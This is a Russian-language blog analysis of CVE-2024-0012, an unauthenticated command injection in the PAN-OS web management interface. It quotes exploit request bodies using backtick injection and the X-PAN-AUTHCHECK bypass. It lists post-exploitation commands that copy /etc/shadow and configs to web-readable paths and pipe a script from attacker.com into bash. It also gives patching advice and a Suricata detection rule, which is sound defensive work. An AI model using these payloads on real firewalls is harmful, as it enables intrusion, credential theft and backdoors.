Уязвимость BDU:2024-09796 (CVE-2024-0012) Palo Alto Networks
Уязвимость BDU:2024-09796 (CVE-2024-0012) представляет собой комбинацию недостатков валидации входных данных и аутентификации в веб-интерфейсе управления межсетевыми экранами Palo Alto Networks под управлением PAN-OS. Уязвимость позволяет удаленному злоумышленнику выполнять произвольные команды на системе без аутентификации.
Анализ уязвимости
Уровень опасности: 9.3 CRITICAL (CVSS-B)
Вектор атаки: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/
VI:H/VA:H/SC:L/SI:N/SA:N/AU:N/R:U/V:C/RE:H/U:Red
-
AV:N (Attack Vector: Network) - Атака через сеть
-
AC:L (Attack Complexity: Low) - Низкая сложность эксплуатации
-
AT:N (Attack Requirements: None) - Требования к атаке отсутствуют
-
PR:N (Privileges Required: None) - Привилегии не требуются
-
UI:N (User Interaction: None) - Взаимодействие с пользователем не требуется
-
VC:H (Confidentiality Impact: High) - Высокий ущерб конфиденциальности
-
VI:H (Integrity Impact: High) - Высокий ущерб целостности
-
VA:H (Availability Impact: High) - Высокий ущерб доступности
-
SC:L (Confidentiality Scope: Local) - Область воздействия на конфиденциальность: локальная
-
SI:N (Integrity Scope: Unchanged) - Область воздействия на целостность: не изменена
-
SA:N (Availability Scope: Unchanged) - Область воздействия на доступность: не изменена
-
AU:N (Authorization Scope: None) - Область авторизации: отсутствует
-
R:U (Recovery: Unrecoverable) - Восстановление невозможно
-
V:C (Vulnerability Response Effort: High) - Большие усилия для устранения уязвимости
-
RE:H (Environmental Severity: High) - Высокая критичность в среде
-
U:Red (Safety Requirement: Critical) - Критичные требования к безопасности
Условия эксплуатации
-
Доступ к интерфейсу управления: Злоумышленник должен иметь сетевой доступ к порту веб-интерфейса (обычно TCP/443)
-
Уязвимые версии PAN-OS:
-
Версии до 11.2.4-h1
-
Версии до 11.1.5-h1
-
Версии до 11.0.6-h1
-
Версии до 10.2.12-h2
-
-
Отсутствие дополнительной защиты: Нет WAF или правил IPS, блокирующих аномальные запросы
Технический механизм уязвимости
Уязвимость CVE-2024-0012 существует в скрипте createRemoteAppwebSession.php, который некорректно обрабатывает параметр user:
// Упрощенный псевдокод уязвимого скрипта $user = $_POST['user']; $command = "create_session --user " . escapeshellarg($user); system($command); // Уязвимый вызов!
Хотя используется escapeshellarg(), отсутствует проверка на подстановку команд через backticks (`), что позволяет инъекцию команд.
Анализ эксплойтов
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.
Эксплойт 1 (Chirag Artani):
data = {
'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
'userRole': 'superuser',
'remoteHost': '',
'vsys': 'vsys1'
}
Механизм работы:
-
Отправка POST-запроса с инъекцией команды в параметр
user -
Использование заголовка
X-PAN-AUTHCHECK: offдля bypass аутентификации -
Запись результата команды в веб-доступный файл
-
Последующее чтение файла для получения вывода
Эксплойт 2 (GUI Diego Collao):
Добавляет графический интерфейс и параметризацию команд:
command = self.command_input.text().strip()
data = {'user': f'`{command} > /var/appweb/htdocs/unauth/cve.php`', ...}
Ключевые особенности:
-
Позволяет выполнять произвольные команды через GUI
-
Использует тот же путь эксплуатации
-
Автоматизирует проверку результата
Эксплойт 3 (Nuclei template):
Обнаружение уязвимости через проверку ответа:
path: "{{BaseURL}}/php/utils/CmsGetDeviceSoftwareVersion.php/.js.map"
matchers:
- type: word
words:
- "0.0.0" # Характерный ответ уязвимых систем
Возможные последствия эксплуатации
-
Полная компрометация firewall:
`cp /etc/shadow /var/appweb/htdocs/unauth/creds.txt`
-
Перехват сетевого трафика:
`tcpdump -i any -w /var/appweb/htdocs/unauth/pcap.pcap`
-
Установка бэкдоров:
`curl http://attacker.com/shell.sh | bash`
-
Изменение правил firewall:
`clish -c "set rule id 100 action allow"`
-
Кража конфигураций:
`cp /config/active-config.xml /var/appweb/htdocs/unauth/config.xml`
Меры защиты
-
Срочное обновление:
Установить исправленные версии:-
PAN-OS 11.2.4-h1+
-
PAN-OS 11.1.5-h1+
-
PAN-OS 11.0.6-h1+
-
PAN-OS 10.2.12-h2+
-
-
Сегментация сети:
-
Ограничить доступ к интерфейсу управления только доверенным IP-адресам
-
Выделить отдельный VLAN для management-интерфейсов
-
-
Правило Suricata для детектирования:
alert http any any -> $HOME_NET any (msg:"Palo Alto CVE-2024-0012 Exploit Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/php/utils/createRemoteAppwebSession.php"; http.header; content:"X-PAN-AUTHCHECK"; content:"off"; http.request_body; content:"user=|60|"; content:"`"; distance:0; metadata:policy security-ips drop; sid:202409796; rev:1;) Данное правило можно найти в моём наборе правил к Suricata (https://alekseycheremnykh.ru/post/moj-nabor-pravil-k-suricata/).
-
Дополнительные меры:
-
Включить Multi-Factor Authentication для административного доступа
-
Регулярно аудитировать журналы аутентификации
-
Ограничить привилегии административных учетных записей
-
Заключение
CVE-2024-0012 (BDU:2024-09796) представляет экстремально высокий риск для инфраструктур, использующих уязвимые версии PAN-OS. Уязвимость позволяет полный компрометации firewall без аутентификации. Критически важно немедленно применить обновления и реализовать дополнительные меры защиты, особенно сегментацию сети и мониторинг подозрительной активности.